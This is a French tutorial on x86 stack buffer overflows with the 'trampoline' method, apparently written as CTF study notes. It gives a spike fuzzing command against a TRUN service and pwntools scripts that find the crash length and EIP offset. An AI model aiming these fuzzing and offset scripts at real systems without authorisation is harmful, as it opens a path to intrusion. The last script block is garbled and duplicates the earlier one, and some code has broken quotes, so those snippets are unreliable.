Skip to main content

La méthode du trampoline

Contrairement à la méthode du saut directque nous avons vu précédemment dans BOF1 sur TryHackMe (méthode popularisée dans les années 90 d'après Gemini), nous allons nous concentrer sur la méthode du trampoline qui est bien plus fiable.

[!IMPORTANT] Cette méthode, telle qu'elle est présentée ci-dessous, fonctionne sur les architectures x86. Les architectures ARM ou x64 n'alignent pas la mémoire de la même manière, l'exploitation est donc différente.

Trouver l'overflow

Pour trouver l'overflow, nous injectons tous les paramêtres disponibles avec une chaine de caractères longue.

Exemple 1 : Service supportant les connexions TCP

Dans le cadre d'un service accessible par TCP, nous pouvons utiliser la commande generic_send_tcp pour tester le service par force brute :

generic_send_tcp 172.27.208.1 9999 stats.spk 0 0

Ou stats.spk est de la forme :

s_readline();
s_string("TRUN ");
s_string_variable("0");

Exemple 2 : Binaire prenant un input dans l'exécution

Dans le cadre d'un exécutable linux, nous pouvons faire un petit script python pour l'attaque par force brute :

from pwn import *

# Buffer de base
buf = 10

# Ouverture du process pointant sur le chemin du binaire vulnérable
io = process('./pwn')

# Définition d'une limite arbitraire (sinon : while True)
limit = 500

while buf < limit:
  # Tant qu'on ne casse pas le programme tourne
  try:
    # Print du progrès pour s'assurer que ça tourne
    print(f'Bruteforcing @ {buf}', end='\r')
    # On passe jusqu'à arriver à l'input (ici l'input est après 'payload:')
    io.recvregex(b'payload:')
    # On envoi la charge
    io.sendline(b'\x42' * buf)
    # Si ça ne casse pas, on augmente le buffer de façon arbitraire
    buf += 10
  # Si ça casse
  except Exception as e:
    # On a peut être trouvé le buffer, on indique la dernière valeur pour laquelle ça à fonctionné
    success(f'Broke with buffer @ {buf}')
    # On sort de la boucle
    break

# Si on n'a pas cassé avant la limite
if buf >= limit:
  error('Exhausted')

Exemple 3 : Binaire prenant un imput dans les arguments

Dans le cadre d'un exécutable qui prend un argument à l'exécution, nous pouvons faire un petit script python pas très propre pour faire l'attaque par force brute (process de pwntools est très verbeux et je n'ai pas trouvé comment faire mieux) :

from pwn import *

# Buffer de base
buf = 10

# Définition d'une limite arbitraire (sinon : while True)
limit = 500

while buf < limit:
  # Tant qu'on ne casse pas le programme tourne
  try:
    # Ouverture du process pointant sur le chemin du binaire vulnérable
    io = process(['./vuln', '-argument_vuln', 'A' * buf], stdin=DEVNULL, stdout=DEVNULL)
    # On attend la fin d'exécution
    io.wait()
    # On récupère l'exit code:
    c = io.poll()
    # Si ça casse, on est bon
    if c!=0:
      success(f'Broke with a buffer of : {buf}')
      break
    # Si ça casse pas, on augmente le buffer
    buf += 10
  # Si ça casse complet
  except Exception as e:
    # On a peut être trouvé le buffer, on indique la dernière valeur pour laquelle ça à fonctionné
    success(f'Broke with buffer @ {buf}')
    # On sort de la boucle
    break

# Si on n'a pas cassé avant la limite
if buf >= limit:
  error('Exhausted')

Trouver l'offset

Une fois que nous avons trouvé le paramètre à exploiter, nous pouvons commencer à chercher l'offset.

Option 1 : Nous avons le binaire

Méthode 1 : Windows

S'il s'agit d'un binaire pour windows, nous l'ouvrons dans Immunity Debugger jusqu'à ce qu'il soit en mode "Running".
Une fois le programme lancé dans le débugger, nous passons à l'offensive dans notre console en lançant le programme python suivant :

from pwn import *

# On ouvre une connexion avec notre service
io = remote('172.27.208.1', 9999)
# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = b'TRUN /.:/' + cyclic(5000)
# On print jusqu'à arriver à l'input (ici l'input est après 'help.')
print(io.recvregex(b'help.').decode())
# On envoit le payload qui va faire planter le programme
info('Sending payload')
io.sendline(payload)
# On demande à l'utilisateur la valeur qu'il lit dans l'EIP sur ImmunityDebugger
h = bytes.fromhex(input('EIP hex value :'))[::-1]
# On calcule l'offset
o = cyclic_find(h)
info(f"Found offset : {o}")

Et comme ça, nous avons trouver l'offset qui est en fait égal à taille du buffer + taille de l'EBP.

Méthode 2 : Linux

Dans linux s'est un peu plus simple encore, puisque nous pouvons attacher le binaire :

from pwn import *

# On attache notre binaire
io = process(‘./caf’)
# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = b'TRUN /.:/' + cyclic(5000)
# On print jusqu'à arriver à l'input (ici l'input est après 'help.')
print(io.recvregex(b'help.').decode())
# On envoit le payload qui va faire planter le programme
info('Sending payload')
io.sendline(payload)
# On attend que le programme plante
io.wait()
# On dump le core
core = io.corefile
# On récupère les infos de l'eip
eip = core.eip
# On cherche la valeur de l'eip dans le cycle
o = cyclic_find(pack(eip))

success('Found offset : {o}')

[!NOTE] Pour un overflow par argument Le script est très similaire dans ce cas, il devient :

from pwn import *

On attache notre binaire

io = process(‘./caf’)

On crée un cycle de la taille du payload qui a fait planter le programme précédemment

payload = b'TRUN /.:/' + cyclic(5000)

On print jusqu'à arriver à l'input (ici l'input est après 'help.')

print(io.recvregex(b'help.').decode())

On envoit le payload qui va faire planter le programme

info('Sending payload') io.sendline(payload)

On attend que le programme plante

io.wait()

On dump le core

core = io.corefile

On récupère les infos de l'eip

eip = core.eip

On cherche la valeur de l'eip dans le cycle

o = cyclic_find(pack(eip))

success('Found offset : {o}')